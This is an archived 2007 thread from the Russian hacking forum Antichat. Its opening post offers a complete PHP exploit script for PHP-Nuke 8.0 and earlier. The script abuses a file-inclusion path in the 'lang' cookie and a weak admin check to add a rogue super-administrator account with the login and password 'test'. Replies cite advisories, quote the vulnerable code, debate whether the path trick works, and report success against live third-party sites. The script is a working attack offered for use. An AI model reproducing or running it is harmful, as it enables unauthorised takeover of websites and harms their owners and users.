Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   PHP-nuke <= 8.0 final exploit (https://forum.antichat.xyz/showthread.php?t=37766)

uNLike 12.04.2007 11:31

PHP-nuke <= 8.0 final exploit
 
Написал на днях тут эксплоит на nuke использовал уже известную уезвимость в куках, и также недочет в авторизации админа. Позволяее добавить своего админа. Вроде похожих сплоитов негде еше пока не видел. Строго не судите всеж первый сплоит мой:)
Поиск администратора писал в чисто учебно позновательных целей практика показала что быстрее вомного раз найти его ручками.
Сильно тож я его не потестил, на localhost точно работает:))
PS: И функции из какого-то сплоита взял я еше:)
PHP код:

<?  //exploit for PHP-nuke <=8.0 Final
    //Coded by: uNlike
    //local include in cookie "lang"

    
Error_Reporting(E_ALL & ~E_NOTICE & ~E_WARNING);
    
$login="";                            // user login (if you know super admin login not write)
    
$password="";                         // user password (if you know super admin login not write)
    
$admin_login="admin";                 // super admin login
    
$admin_file="admin";                  // path to admin panel admin  http://www.target.com/include/admin.php => "include/admin"
    
$host="http://www.target.com";        // target site
    
$cookie_file_path "/tmp/cookie";    // for my opinuion, you can to set other
    
$agent "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
    
/////////////////
   
$cookie="";
   if (!
$admin_login)
   {
       echo 
"Login...<br>";
       
$url=$host."/modules.php?name=Your_Account";
       
$reffer=$host."/index.php";
       
$post['op']="login";
       
$post['username']=$login;
       
$post['user_password']=$password;
       
$result=query($url,$agent,$proxy,$reffer,$cookie_file_path,$post,"");
       
$cook=getcookiee($result);
       foreach (
$cook as $k=>$v) { $cookie[$k]=$v;  }
       if (
strpos($result,'name="username" size="15" maxlength="25')) {echo "<b>Login or password is invalid</b>"; exit;}
       echo 
"Find superadmin...<br>";
       
$url=$host."/modules.php?name=Members_List";
       
$cookie_base="";
       foreach ( 
$cookie as $k=>$v ) { $cookie_base.= $k."=".$v."; "; }
       for(
$time=time()+2;$time>time();){echo ".";}
       
$result=query($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_base);
       if (!
strpos($result,'&op=logout&redirect=Forums'))  {echo "<b>Super admin login was not found</b>"; exit; }
       
$start=strpos($result,'viewprofile&amp;u=2');
       
$str=substr($result,$start+28,30);
       
$start=strpos($str,'>')+1;
       
$end=strpos($str,'<');
       
$len=$end-$start;
       
$admin_login=substr($str,$start,$len);
       echo
"Super admin login is <b>$admin_login</b>...<br>";
   }



    
$cookie="";
    echo 
"Exploiting...<br>";
    
$url=$host."/admin.php?aid=".$admin_login."&op=AddAuthor&add_aid=test&add_name=god&add_email=test@test.tt&add_pwd=test&add_radminsuper=1";
    
$reffer=$host;
    
$cookie_add="admin=1; lang=russian.php/../../admin/modules/authors;";
    
$result=query($url,$agent,"",$reffer,"/tmp/cook","",$cookie_add);
    
$url=$host."/".$admin_file.".php";
    
$reffer=$host."/".$admin_file.".php";
    
$post['op']="login";
    
$post['aid']="test";
    
$post['pwd']="test";
    for(
$time=time()+2;$time>time();){echo ".";}
    
$result=query($url,$agent,$proxy,$reffer,"/tmp/cook",$post,$cookie_add);
    if (!
strpos($result,'_MODULESADMIN'))  {echo "<b>Error exploiting</b>"; exit; }
    echo 
"Super admin was creat:<br> Login: <b>test</b><br> Password: <b>test</b>";





 function 
query($url,$agent,$proxy,$reffer,$cookie_file_path,$post,$cookie) {
       
$ch curl_init ();
       
curl_setopt ($chCURLOPT_URL$url);
       
curl_setopt($chCURLOPT_USERAGENT$agent);
       
curl_setopt($chCURLOPT_SSL_VERIFYHOST,  0);
       
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
       if (
$post!="") {
                
curl_setopt($chCURLOPT_POST1);
                
curl_setopt($chCURLOPT_POSTFIELDS$post);
             }
       
curl_setopt ($chCURLOPT_TIMEOUT120);
       
curl_setopt ($chCURLOPT_PROXY$proxy);
       
curl_setopt ($chCURLOPT_PROXYTYPECURLPROXY_SOCKS5);
       
curl_setopt ($chCURLOPT_RETURNTRANSFERTRUE);
       
curl_setopt ($chCURLOPT_FAILONERRORfalse);
       
curl_setopt ($chCURLOPT_FOLLOWLOCATION1);
       
curl_setopt($chCURLOPT_REFERER$reffer);
       
curl_setopt($chCURLOPT_COOKIE$cookie);
       
curl_setopt($chCURLOPT_COOKIEFILE$cookie_file_path);
       
curl_setopt($chCURLOPT_COOKIEJAR$cookie_file_path);
       
curl_setopt($chCURLOPT_HEADER1);
       
$result curl_exec($ch);
       
$error=curl_errno($ch);
       
curl_close ($ch);
       if (
$error$result="Fucking Error: ".$error."\r\n";
       if (
$error==7$result=$result." Failed to connect() to host or proxy.\r\n";
       if (
$error==28$result=$result." Operation timeout. The specified time-out period was reached according to the conditions.\r\n";
       if (
$error==22$result=$result." Sorry, Unable to process request at this time, Please try again later.\r\n";
       return 
$result;
}

 function 
getcookiee($result) {
   
$res explode("\n",$result);
   foreach (
$res as $k=>$v ) {
    if (
ereg("Set-Cookie",$v)) {
      
$c_a explode(";",trim(str_replace("Set-Cookie:","",$v)));
      foreach (
$c_a as $k=>$v ) {
              if (!(
ereg("expires",$v))) {
               
$arr=explode("=",trim($v));
               
$cook[trim($arr[0])]=trim($arr[1]);
              }
          }
    }
  }
return 
$cook;
}
?>


gibson 12.04.2007 11:58

Вобщем зачем, еще не пробовал. Посмотрел, сделал из нескольких сплойтов. Только на некоторых сайтах стоят зашиты от команд "ор" "pwd" и т.д. + еще не всегда стоит стандартый форум. Попробую еще напишу

Elekt 12.04.2007 12:03

Цитата:

уже известную уезвимость в куках
по подробнее здесь - ссылки дай

+ по возможности распиши уязвимый код.

uNLike 12.04.2007 12:08

Цитата:

Сообщение от gibson
Вобщем зачем, еще не пробовал. Посмотрел, сделал из нескольких сплойтов. Только на некоторых сайтах стоят зашиты от команд "ор" "pwd" и т.д. + еще не всегда стоит стандартый форум. Попробую еще напишу

Понял все кроме причем тут форум? атака идет прямо на админку. И интересно как будет логинится админ если отключить эти каманды "ор" "pwd" ? Пробовал с сентенелем да чето там он загнал не стал разбиратся.
В конце концов сплоит же чисто на нюку:) А че там еше можно накрутить можно хоть весь движек перекроить.

Ссылка на уезвимость http://www.securitylab.ru/vulnerability/292584.php
Уезвимость сушествует во всех фаилах admin\modules так как там провереется лиш логин админа и яаляется ли он супер админом
PHP код:

if (!defined('ADMIN_FILE')) {
    die (
"Access Denied");
}

global 
$prefix$db$admin_file;
$aid substr("$aid"0,25);
$row $db->sql_fetchrow($db->sql_query("SELECT name, radminsuper FROM " $prefix "_authors WHERE aid='$aid'"));
if ((
$row['radminsuper'] == 1) && ($row['name'] == 'God')) { 

блогадоря локальному инклуду мы можем обойти данное ограничение
PHP код:

if (!defined('ADMIN_FILE')) {
    die (
"Access Denied");


так как в admin.php при запуске она сразу define('ADMIN_FILE', true);
и затем так же не проверяется значение переменно admin проверяется лиш ее сушествование

madnet 12.04.2007 12:18

Цитата:

Сообщение от Elekt
по подробнее здесь - ссылки дай

+ по возможности распиши уязвимый код.


Если не ошибаюсь
http://seclists.org/bugtraq/2007/Mar/0154.html

PHP код:

} elseif (isset($lang)) {           include_once("language/lang-".$lang.".php"); // This can be exploited by malicious users: ex: /../../robots.txt%00 Multilingual Options=OFF           $currentlang = $lang; // This can be exploited by malicious users. ex:SQL Injection in Top and News Module ($currentlang) Multilingual Options = On   } else { 

И блинд еще
http://www.securitylab.ru/poc/extra/292245.php

Elekt 12.04.2007 12:19

у нас тут спор - как это может работать:

lang=russian.php/../../admin/modules/authors;

кто утверждает, что так работает. кто-то - что нет и не может работать.
мой личный тест - отрицателен.

есть мнения?

madnet 12.04.2007 12:21

может.
Только что протестировал на локале.

Главное существование файла либо директории, т.е. файл тоже подходит

Пример

1.txt
Код:

cool
1.php
PHP код:

<? 
 $bag 
file_get_contents("1.php/../1.txt");
  die(
$bag);  
?>

На выводе имеем
Код:

cool
Только выход из файла в текущую директорию получается через ../ а не через ./

uNLike 12.04.2007 12:27

Цитата:

Сообщение от Elekt
у нас тут спор - как это может работать:

lang=russian.php/../../admin/modules/authors;

кто утверждает, что так работает. кто-то - что нет и не может работать.
мой личный тест - отрицателен.

есть мнения?

Тестировал на денвере с php4 100% работает.
Также проверял в инете на сайтах 2 из 3 получилось.


Время: 18:22